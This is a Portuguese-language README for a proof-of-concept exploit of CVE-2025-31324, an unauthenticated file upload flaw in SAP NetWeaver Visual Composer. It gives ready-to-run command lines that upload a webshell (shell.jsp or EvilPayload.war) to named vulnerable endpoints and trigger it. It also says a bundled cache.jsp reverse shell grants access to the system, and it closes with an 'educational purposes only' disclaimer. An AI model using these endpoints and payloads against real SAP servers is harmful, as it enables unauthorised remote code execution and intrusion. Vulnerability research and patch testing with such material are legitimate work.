CVE-2025-31324_PoC

Prova de Conceito para CVE-2025-31324: Upload não autenticado no SAP NetWeaver Visual Composer Metadata Uploader

Este script realiza:

1. Upload de arquivo para o endpoint vulnerável (via host/porta de Upload)
2. Acionamento opcional via HTTP GET (via host/porta de Trigger)
3. Validação/registro básico de resposta

Exemplo de uso: python3 PoC.py
--host sap.example.com --port 50000
--endpoint /irj/portal/sap/bc/webdynpro/sap/ZWDC_METADATA_UPLDR
--file EvilPayload.war
--trigger-path /irj/portal/irj/servlet_jsp/irj/root/EvilPayload/shell.jsp
--trigger-host sap.example.com --trigger-port 50001 --trigger-https true
--bypass-portal

python3 PoC.py --host sap.example.com --port 50000
--endpoint /developmentserver/metadatauploader
--file shell.jsp
--trigger-path /visual_composer/shell.jsp
--trigger-host sap.example.com --trigger-port 50001 --trigger-https

Você também tem a capacidade de enviar um arquivo .war, se é assim que deseja executar. cache.jsp é um reverse shell que lhe dará acesso depois de estar dentro do sistema. (Ainda resolvendo problemas lá)

Aviso Legal

Isso é destinado apenas para fins educacionais e não deve ser usado para quaisquer atividades maliciosas. Sempre garanta que você tenha as permissões necessárias e siga as diretrizes éticas ao testar ou pesquisar vulnerabilidades de segurança.

Para quaisquer dúvidas ou esclarecimentos, sinta-se à vontade para entrar em contato. Mantenha-se seguro e protegido!